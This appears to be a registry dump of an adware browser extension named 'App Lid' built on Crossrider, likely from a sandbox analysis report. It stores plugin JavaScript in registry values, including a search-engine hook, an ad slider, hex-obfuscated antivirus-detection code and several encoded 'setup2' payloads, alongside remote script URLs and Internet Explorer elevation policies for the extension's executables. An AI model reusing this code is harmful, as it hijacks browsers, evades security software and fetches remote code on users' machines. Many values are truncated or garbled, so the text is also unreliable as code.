"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var d=__TABS_ON_UPDATED_ACTIVE_KEY;var c=__tabsOnUpdateActive__;var a={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(!appAPI.utils.isFunction(appAPI.internal.globalEval)){appAPI.internal.globalEval=function(e){(new Function(e)).apply(window);};}if(appAPI.internal.scope==a.SCOPE.BACKGROUND){appAPI.tabs.reloadTab=function(e){if(typeof e.delay===number){appAPI.setTimeout(function(){appAPI.message.toAllTabs({tabId:e.tabId},{channel:__tabsReloadTab__});},e.delay);}else{appAPI.message.toAllTabs({tabId:e.tabId},{channel:__tabsReloadTab__});}};appAPI.tabs.executeScript=function(e){appAPI.message.toAllTabs(e,{channel:__tabsExecuteScript__});};appAPI.tabs.onTabUpdated=function(e){if(typeof e!==function){return;}appAPI.message.addListener({channel:__tabsOnTabUpdated__},function(f){e(f);});appAPI.internal.db.set(d,true);appAPI.message.toAllTabs({},{channel:c});};}else{if(appAPI.internal.scope==a.SCOPE.PAGE&&!appAPI.dom.isIframe()){var b=functi"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"PluginsManifestVersion" = "12"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"FullVersion" = "1.35.11.26"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ThanksUrl" = "NA"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"AppName" = "App Lid-bg.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"BrowserEventPluginList" = "14,42,41,44,39,38,43,37,64,72"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"JavaScript" = "if(appAPI.__should_activate_validation__===true){(function(){var e={WRONG_STRICT_VALUE:Parameter %PARAM_NAME% value is not supported.,WRONG_TYPE:Parameter %PARAM_NAME% is of wrong type. Valid types: [%VALID_TYPES%].,PARAM_IS_MANDATORY:Parameter %PARAM_NAME% is mandatory.,DB_VAL_TOO_LARGE:appAPI.db storage is limited to 1000 bytes per key. For larger values please use appAPI.db.async};var a=function(m){return m.charAt(0).toUpperCase() m.slice(1);};var h={};var b=appAPI.appInfo.name;var i=function(o,r,q,p){if(typeof p===undefined){p=;}var n=[ new Date().toDateString() new Date().toLocaleTimeString() ] b;var m=;if(typeof console!==undefined){if((q===e.DB_VAL_TOO_LARGE)&&(typeof console.warn===function)){console.warn(n m);}else{if(typeof console.error===function){console.error(n m);}else{if(typeof console.log===function){console.log(n m);}}}}return;};var l=function(p,n,o){var m=pÍ‘"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "A6CD997E08804A369D8FB9D181719F3AIE"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"Name" = "search_engine_hook"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"ErrorsDomain" = "http://errors.newstaticinfosrv.com"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"Name" = "base"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/43.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"Name" = "CrossriderInfo"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"PublisherName" = "Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTY3ZTdlNGExOTAwMTAwNzI3MTAwMTU2NGQ0ODUzMWMxMDAzMDI1ODQyNWIxNjQ2MDUxMjFjMWUwMzRjMGUxYjFhNDcxMDVhMTQxZjAyNWQ1YjQ2NDExYTE0MTI1NjRhMmQzZDJlMjYzODNiMjIyNjJkMzMzNzMwMzIzMTJmM2MzNDNhMjAzMjM2M2QzZTIxMzUzNzM4MzAzYjI4NTQ1NDVmNDIzOTA5MWMxMTU5MjgyZDIxM2YzYjI0M2IyMzNkMjAzMjIwM2QyYzI0MjczNzNmMzUyOTMyMmQzZDRiNDI0NTVlMDMxMTAyNDQ0ZjNkMzIzNzI1MjcyMjI3MzYzZTM2MjczZjJiMjIzYjM0MjYzYjNlMzYzZDMyNTI0MTVhNDcwNjAxMTE0MzVmNWI0NzQwNWE0NzEyNTM0NDQ1NTE1YTQ2NDE1MTQ3NDA1MjQyNDU1MDRiMDAwNDFiMTgxMDU5NDY1NDE2MDgxZDEzNTUyZTJiMjcyNTNkMzEzZTI2M2UyYzM0MjYzYjM2MjIzMjMyM2QzMzM3MmU1MjEwMDIxYjA2NTAyYjI4MmIyMzNiMzcyNDIwMmIyOTMxMjUzNzM4M2EzNzIzMzMyZTIxMzEyNTM3MjQyNzIxMjUyZDJiMjkyYjI4NGE1ZDdlNmQ1NTFhMTYxOTA0MDQzZDAzMTg0NjRkNTI0MDA1MDAwMzE4MDI0ZTRiNTgxMzRjMTkxMjBmMDEwMDVhMDcxODFmNGQwYzVhMDcwMDAxNGI1MjQ1NDQxMDA4MTI0NTU1MmUyYjI3MjUzZDMxM2UyNjNlMmMzNDI2M2IzMjJhMzYyODNhMzMyZDM1MmIzNzIyMzAzZDI0MzAyODM3NTc0MjU2NDEzYzAzMDAxMTRhMzcyZTM3MzYzODIxMzEzZjNkMzMyZDIzMmIyNTI3MjIzZDIzMzUzYTJkMmUyYjQyNDE0MDU0MWYxMTExNWI0YzJiM2I@Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ModeType" = "production"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"JavaScript" = "if(typeof jQuery!==undefined&&(jQuery)&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){(function(d,c,e){var a,b;d.uaMatch=function(h){h=h.toLowerCase();var g=/(opr)[\/]([\w.] )/.exec(h)||/(chrome)[ \/]([\w.] )/.exec(h)||/(firefox)[ \/]([\w.] )/.exec(h)||/(webkit)[ \/]([\w.] )/.exec(h)||/(opera)(?:.*version|)[ \/]([\w.] )/.exec(h)||/(msie) ([\w.] )/.exec(h)||h.indexOf(trident)>=0&&/(rv)(?::| )([\w.] )/.exec(h)||h.indexOf(compatible)<0&&/(mozilla)(?:.*? rv:([\w.] )|)/.exec(h)||[];var f=/(ipad)/.exec(h)||/(iphone)/.exec(h)||/(android)/.exec(h)||/(windows)/.exec(h)||/(mac)/.exec(h)||/(linux)/.exec(h)||/(ubuntu)/.exec(h)||[];return{browser:g[1]||,version:g[2]||0,platform:f[0]||};};a=d.uaMatch(c.navigator.userAgent);b={};if(a.browser){b[a.browser]=true;b.name=(b.rv?msie:a.browser);b.version=a.version;}if(a.platform){b[a.platform]=true;b.os=(a.platform===windows?win:a.platform);}if(b.chrome||b.opr){b.webkit=true;}else{if(b.webkit){b.safari=true;}}if(b.rv){bÍ‘"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"Name" = "IEAjax"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/72.js"

[HKCU\Software\AppDataLow\Software\App Lid\Update]
"LastCheck" = "1418834848"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"IsButtonEnabled" = "true"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppName" = "App Lid-buttonutil64.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"PublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"Version" = "108"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(a){appAPI.isBackground=false;appAPI.tabId=a.getBhoInstanceId();appAPI.getTabId=function(){return appAPI.tabId;};appAPI.isActiveTab=function(){return appAPIinternal.isActiveTab();};appAPI.platform=""IE"";if(typeof appAPI.appInfo===""undefined""){appAPI.appInfo={};}var c=appAPI.internal.prefs.getChar(""fullVersionForUrl""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\207]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var d=$jquery_171;function c(f){return true;}function b(g,f){f=appAPI.utils.isFunction(f)?f:c;return d.map(g,function(h){return f(h)?h:null;});}function a(f){f.getList=(function(){var g=f.getList;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.getKeys=(function(){var g=f.getKeys;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.removeAll=(function(){var g=f.removeAll;return function(h){if(!appAPI.utils.isObject(h)){return g.call(f);}d.each(f.getList(h),function(j,k){f.remove(k.key);});};}());}function e(g){g.getList=(function(){var h=g.getList;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callback)){return;}h.call(g,function(j){i.callback(b(j,i.predicate));});};}());g.getKeys=(function(){var h=g.getKeys;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callbac"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"Version" = "4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"Policy" = "3"

[HKLM\SOFTWARE\Wow6432Node\App Lid\IE\Profiles]
"S-1-5-21-2858020935-2156992550-3658131804-1003" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/28.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"JavaScript" = "if(appAPI.isBackground){var ICMBaseManager=function(a){return function(){};};}else{var ICMBaseManager=function(a){var b=(function(f){var i=(function(){var y={\x61\x76\x67\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1,\x61\x76\x61\x73\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2,\x61\x76\x69\x72\x61\x5F\x64\x65\x74\x65\x63\x74\x65\x64:4,\x6D\x73\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:8,\x65\x73\x65\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:16,\x69\x6D\x61\x73\x68\x5F\x64\x65\x74\x65\x63\x74\x65\x64:32,\x76\x69\x70\x65\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:64,\x61\x73\x6B\x74\x6F\x6F\x6C\x62\x61\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:128,\x64\x65\x61\x6C\x70\x6C\x79\x5F\x64\x65\x74\x65\x63\x74\x65\x64:256,\x66\x75\x6E\x6D\x6F\x6F\x64\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:512,\x6D\x63\x61\x66\x65\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1024,\x6D\x61\x6C\x77\x61\x72\x65\x62\x79\x74\x65\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2048,\x62\x61\x69\x64\x75\x61\x76\x5F\x64\x65\x74\x65\x63\x74\x65\x64Ù“Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"CodeDownloadFbDomain" = "http://js.clientdemocloud.com"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"JavaScript" = "(function(){var j=__CR_EMPTY_CHANNEL__;var d=function(e){return(typeof e===object&&e!==null);};var b=function(e){return(!!e&&typeof e===string);};var f=function(l){var e;if(typeof l===function){e=j;}else{if(d(l)&&b(l.channel)){e=l.channel;}else{e=j;}}return e;};var k=function(m,e){var l={wrapperMessage:{message:m,channel:f(e)},toIframes:d(e)?e.toIframes:e};return l;};var i=function(m,e){var l={message:m,channel:f(e)};return l;};var h=function(){var e={};e.addListener=appAPI.message.addListener;e.removeListener=appAPI.message.removeListener;e.toActiveTab=appAPI.message.toActiveTab;e.toAllOtherTabs=appAPI.message.toAllOtherTabs;e.toAllTabs=appAPI.message.toAllTabs;e.toBackground=appAPI.message.toBackground;e.toCurrentTabIframes=appAPI.message.toCurrentTabIframes;e.toCurrentTabWindow=appAPI.message.toCurrentTabWindow;e.toPopup=appAPI.message.toPopup;return e;};var a=function(e){appAPI.message.addListener=function(l,o){var n=null;var m;var p=f(l);if(typeof l===function){n=function(q){if(p===q.channel){Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"Name" = "IEExtension"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\72]
"Name" = "appApiValidation"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"Version" = "7"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTY2MTU5NGI0ODU1NGMxZjAwMGQxZDNlMGIwNzRhNGY0ZTU1MWMwZDE5MWI0MzQ0NDcxYzBkMWE1YTBiNDMxYzE2MTkwNDExMWQwNDE4NTcwMzBlMGQ0NDBmMDAwZjAxMTU1NjAxNDUxMzE4NTcxNjBmMWEwNDE4MDQwYzE3MjIwYzQ4MzEyODM3MmIyMjM4MmEzOTIxMzEyYjI1MmIzYTJjMjYyOTM0MjEzMTMxMjg1MjFhMDIxZTE3MWYxYTBjMmQxODEwMWM1MDM0MjYyODNhM2EzZDI0MjYzMDI5MmUyYjM0MmIzYTNiMzkyMDJiMzQzNDNhMjQyYzMwMzEyODUyMWIxZjA0MGUxODBkMDcyZDE4MTAxYzUwMzQyNjI4M2EzYTNkMjQyNjMwMjkyZTJiMzQyYTI3MjEyMDI3M2MzZjM0MjY0ZDA5MDUxZTNlMzA0NDMyMzQzYTM5MjcyNjNkMjUzZDNkMjgzOTI2MmEzODI1MzEzZTMwMjYzMjRkMTgxYjE4M2IwZjFhMTE0NDMyMzQzYTM5MjcyNjNkMjUzZDNkMjgzOTI2MmEzODI1MzEzOTM1MzQyODM0MjY0ZDIxMzcyNzM0NDkyNjMyMjgyYjI0M2IyNjNjM2UzMDNjM2YzNDMwMjUzYjIxMmYzYjM4M2MzZjM0MmMzODJkMjczMTNlMzAyNjMyNGQwYTFlMGEzYzJhNGEyYjI2MmUzOTM2MzgzYjI3MjczMzMxMmIzMjJlMjEzZjJkM2IyYTMyMzAyNjNlM2UzYjM0MjEzMTMxMjg1MjBiNTAzNDI2MzkyNjMxMzEyODU2NTU2NzRiNTk0YjQ4NTcwNjAzMDAwOTFlM2UwYjA3NGE0ZjRlNTUxYzBkMTkxYjBhNTE0NzVhMDcxNDE5NTcxZjQ1MGUwNDFhMTkwYTA0MDcxNTQzMDUxYzFmNDcxMjFiMTYwMjE4NDIwNzU3MDExYjRhMGQ"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/22.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/46.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"Version" = "6"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"AppName" = "App Lid-buttonutil64.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\1]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/1.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"SetNewTab" = "false"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\93]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGU2MTY1NTcxZDE3MDEwMjM2MTUxOTQ5NTY1NTU3MGIwMTA2MTM1ZDVhNDQxYjAyMDI0ZDA2MDcxMzAyMDcwZDA1MDYxZDRkMTYxZDBlNDgwMjE4NDMwNjEzM2MxODEzMGEwOTViMDExZjA1NGEwNzE5MDEwYzEyMDcwODA5NDgxZDBiMDMwODBlMGUxZTFjNGEwMDA2MDYwNzNiMDc1YTE0MDkwZjUzMzYzNzNjMzY1ZTM4MmEyODNlM2EyNjMwMjczYjI3MjIyNzM0MjkyZDIxMjYzYjM2MjYyMzJhMzgzOTM3MmEyYTMxMmQzYzQxMDUwYTFlMDExYjA2MDcxYzAyMGExMDU2MzMyYTM2MzEzYTIxMzAzNTNjMmYyOTI3MmEyMjI1MjIzYzI5MzQyNjI5MmEyYTQxNTk3ODZhNDUxZDFmMTgwNTA2MzYwNzFlNDE1ZDU1NDkwNDAxMDExMzA2NDg0YzQ4MDIxYzFiNWIwNjE2MDUxNzExMDExYzE4MDQ1YjE2MGMxODVkMTQxNDVhMTgwYTJhMTgwMjFjMWM0ZDBkMDYxYjUzMTExOTEwMWEwNzExMDQxMDU2MDQxZDAzMTkxODFiMDgxMDUzMWUxZjEwMDcyYTExNGYwMjA1MTY0ZDJmMjEzYzI3NDgyZDNjMjQyNzI0M2YyNjI3MmEzMTM3MzEzODMwMzMzODMwM2IyNzMwMzYzYzM0MjAyOTMzM2MzMTNjMmE1NDEzMDYwNzFmMDIxMDA3MGQxNDFmMDY1YTJhMzQyZjI3M2EzMDI2MjAyYTIzMzAzOTMzMzQyNTMzMmEzYzIyMmEzMDM0MzM1NzU5Njk3YzUwMTMwYjAwMGMwNTFiM2MwNzU3NDg0MzVlNDY2MTEx', 'ukluucurcg'); }"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.35.11.26"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.isBackground=true;appAPI.tabId=BG;appAPI.internal.scope=Consts.SCOPE.BACKGROUND;appAPI.openURL=function(c,b){if(typeof c===undefined){return;}var a;if(typeof c===object){a=c;}else{a={url:c,where:b};}appAPI.internal.message.send({eventName:openURL,eventContent:a});};appAPI.internal.runHelper=function(a){if(typeof a!==string){console.error(appAPI.runHelper - Invalid parameter. Expected string (1st param) but got: (typeof a));return;}appAPI.internal.message.send({eventName:runHelper,eventContent:a});};window.alert=function(a){a=(a===null?null:a);a=(typeof a===undefined?undefined:a);appAPIinternal.alert(a);};appAPI.internal._isMonitorAPISupported_=function(){return(typeof appAPIinternal.supportMonitor!==undefined);};window.open=function(b,a,d,c){appAPI.internal.message.send({eventName:windowOpen,eveÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"EnableSearchIE" = "false"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"Name" = "firstoffer_right_slider_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"Version" = "11"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/9.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"Version" = "10"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/38.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"JavaScript" = "var CrossriderInitializerPlugin=(function(e){var c={appId:appAPI._cr_config.appID()},b,g=new e.Deferred(),f;return e.Class.extend({init:function(){b=this;e(document).ready(function(){if(!f){d();}e(body).bindExtensionEvent(__CR_REQUEST_READY,a);});},isReady:function(h){if(h===false){d();}return g.promise();}});function d(){g.resolve();f=true;}function a(){e(body).fireExtensionEvent(__CR_RESPONSE_READY,{appId:c.appId});}}($jquery_171));(function(a){appAPI.initializerPlugin=new CrossriderInitializerPlugin();}($jquery_171));"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"Policy" = "3"

[HKLM\SOFTWARE\Wow6432Node\App Lid\IE]
"TotalProfiles" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\269]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/269.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"JavaScript" = "if(typeof(appAPI)===undefined){appAPI={};}var CR__bIsIEWindow=false;if(typeof window!==undefined&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){CR__bIsIEWindow=/MSIE (\d \.\d );/.test(window.navigator.userAgent);}CR__bIsIEWindow=(CR__bIsIEWindow||(typeof appAPIinternal!==undefined));appAPI.JSON={};if(typeof JSON!==undefined&&!CR__bIsIEWindow){appAPI.JSON=JSON;}else{(function(){function f(n){return n<10?0 n:n;}if(typeof Date.prototype.to_CR_JSON!==function){Date.prototype.to_CR_JSON=function(key){return isFinite(this.valueOf())?this.getUTCFullYear() - f(this.getUTCMonth() 1) - f(this.getUTCDate()) T f(this.getUTCHours()) : f(this.getUTCMinutes()) : f(this.getUTCSeconds()) Z:null;};String.prototype.to_CR_JSON=Number.prototype.to_CR_JSON=Boolean.prototype.to_CR_JSON=function(key){return this.valueOf();};}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\\x00-\x1f\x7f-Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"JavaScript" = "(function(){if(!(appAPI.isMatchPages&&appAPI.isMatchPages(*crossrider.com/extension_dashboard/dashboard.html))){return;}function o(p){return String(p).replace(//g,>);}function e(aR,aC){function aW(){while(aE.length&&(aE[aE.length-1]=== ||aE[aE.length-1]===aT)){aE.pop();}}function aq(p){return p===[EXPRESSION]||p===[INDENTED-EXPRESSION];}function af(p){return p.replace(/^\s\s*|\s\s*$/,);}function an(q){aQ.eat_next_space=false;if(ag&&aq(aQ.mode)){return;}q=typeof q===undefined?true:q;aQ.if_line=false;aW();if(!aE.length){return;}if(aE[aE.length-1]!==\n||!q){ac=true;aE.push(\n);}for(var p=0;p
[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"RunInFrame" = "true"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"Version" = "12"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTU2MDY1NDUxYTE5MWIxZTMyMTAwMjQ4NTY0NzUwMDUxYjFhMTc1ODQxNDUwZDQ5MDYwYjE3MDcxNjRjMGQwNTAxNDgxMzQzMWYwNjE3NWQ1ODU4NWExNTE3MGI1ZDUzMzgzZDJkMzgyMzM0MjEzZjI2MmEyMjMwMzEyZjM0MzMzNzIzMmIyYjIzM2QzZDNmMmUzODNiMjkzMDMxNDE1NDVjNWMyMjA2MWYwODUyMzEzODIxM2MyNTNmMzQyMDI0MmIyYjM1M2QyZjNhM2MzODNjMmMyMjJiMzgzZDQ4NWM1ZTUxMDAwODA5NWQ1YTNkMzEyOTNlMjgyMTNlM2QyNzIzMjczYzM1MzkzNDM3M2YzMDI3MjMzZDMxNGM1YTU1NDQxZjBhMDg1NjVmNTg1OTViNTU0NDBiNTg1ZDUwNTE1OTU4NWE1ZTQ0NTk1OTViNTA1MDQ4MWUwOTBlMTY1MDMwMzEyNDMwMjEzOTNmMzUzYjI5MmEzYzM4MjMzZTNhMzMyZTM2MzIzMDQ4MTMxNzA3MGU1MTM4MmQyZTNkMjEzNDMxM2MyMzI4MjIyMDMyMjYyMDM0MzYyZjI2MjAyMjIwMzIzYTNkMjIzMDMxMjMyODM4MmQ0ZjQzNjQ2ZTQwMDYxZTE4MTcwMTM4MWQwMjQ1NTg0ZTQ4MDQxMzA2MWQxYzU0NDg0ZDBmNDQxODAxMGEwNDFlNDAwNDBkMDM0NTBkNDkwMjA1MWY1MTUxNTA1ODE4MDkwMTQwNTAzMDMxMjQzMDIxMzkzZjM1M2IyOTJhM2MzODI3MzYzZTI5MjkzNjI4MmIzMTM0MzcyYzM1MjUyMzJkMzI0OTU4NTU1NDIwMGIwMTAyNGYzMjMwMmQzNTJkM2QzOTNlMmUzNjI4M2QzMTI2MzIzZTM1MjIyNjNmMjgzMDMxNDE1NDVjNWMxZTAyMTQ1ZTUyMzEzODIxM2MyNTNmMzQyMDI0MmIIÍ‘"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{32ad3e42-c628-4632-b217-3df931962891}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\93]
"Version" = "14"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"Name" = "guava_m"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"JavaScript" = "var jQuery = $jquery_171 = $jquery = null;if (document && typeof document.getElementById !== undefined) {/*! jQuery v1.7.1 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f(< a >).appendTo(b),e=d.css(display);d.remove();if(e===none||e===){cl||(cl=c.createElement(iframe),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===CSS1Compat?:) ),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,display),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(Microsoft.XMLHTTP)}catch(b){}}function ci(){try{return new a.XMLHttï¿¿Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\244]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGY2NDdlNTcxZTFhMGMxMzJmMDAxODRjNGQ1NTU0MDYwYzE3MGE0ODViNDExMjBkMDI1YzU2MDYxNDE1MTUwOTEyMGMxNzQwMWIwYzE3NWQwMzA3MTMxMjEzMWE1NzBhMTQxODExMGQwMzJhMDUxZTE5MTExMTVkMWQwMDFkMmEwNTFlMGEwODI1MDEwMDBmMDUwMTEzMWM1NjA5MDk0ZDA0MDcxMzQ4M2EzYTNkMTAzNTM2MzU1ZjM4MzEyNzFkMzUwOTFkNDEzOTA0M2UwNjM4MmExYjU3MzUyNjM1NGI0NDMxNTAxZDBkMDExMzE2NDkzMTI4MzYyNDIxMmIzMDI4M2IzMDJiMjUyYTMzMzYyYzI2MzQzNjMxMmEyODI2MjMyYzI3MmEzZTJkMmI0ODE2MDUwNjAwMTkwZTFmNGYyYjMxMzQyNzM5M2QyYjMxMzMzNjMxM2MyODM0MjYzZTI3MmQzYjNmMzEzMTI4NTc1YTY0NzE0MTEyMDYwMDFlMDQyMDA0MDI1YTU5NWE1MDFjMWEwMzA1MDU1NDU3NGMxZjBhMDA1YzU5MTAxODA5MTkwNDFmMGIxNTQwMTQxYTFiNDEwZjBhMWUxNTExMWE1ODFjMTgwNDFkMDAwZTJkMDcxZTE2MDcxZDQxMTEwZDEwMmQwNzFlMDUxZTI5MWQwYzAyMDgwNjExMWM1OTFmMDU1MTA4MGExZTRmMzgzYTMyMDYzOTJhMzk1MjM1MzYyNTFkM2ExZjExNWQzNTA5MzMwMTNhMmExNDQxMzkzYTM5NDY0OTM2NTIxZDAyMTcxZjBhNDUzYzI1MzEyNjIxMjQyNjI0MjczYzI2MjgyZDMxMzYyMzMwMzgyYTNkMjcyNTIxMjEyYzI4M2MzMjMxMjc0NTFiMDIwNDAwMTYxODEzNTMyNzNjMzkyMDNiM2QyNDI3M2YyYTN